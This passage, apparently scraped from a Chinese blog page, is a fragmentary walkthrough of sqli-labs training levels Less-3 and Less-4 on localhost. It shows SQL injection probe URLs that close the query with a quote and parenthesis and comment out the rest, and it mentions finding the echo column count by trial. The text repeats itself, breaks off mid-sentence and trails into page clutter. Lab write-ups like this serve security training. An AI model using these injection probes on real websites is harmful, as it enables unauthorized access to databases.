正常访问http://127.0.0.1/sqli-labs-master/Less-1/?id=1判断注入类型http://127.0.0.1/sqli-labs-master/Less-3/?id=1%27根据报错可以知道是字符注入，使用单引号与小括号进行闭合。http://127.0.0.1/sqli-labs-master/Less-3/?id=1') %23开始注入使用二分法，确定回显点，首先试6，没反应，试3，有反应；试5，无反应，试4，无反应。可.
正常访问
http://127.0.0.1/sqli-labs-master/Less-3/?id=1http://127.0.0.1/sqli-labs-master/Less-4/?id=1
判断注入类型
http://127.0.0.1/sqli-labs-master/Less-3/?id=1%27
根据报错可以知道是字符注入，使用 ') 进行闭合。
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') %23
http://127.0.0.1/sqli-labs-master/Less-4/?id=1" and 1
2226
406
391
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
最低0.47元/天 解锁文章
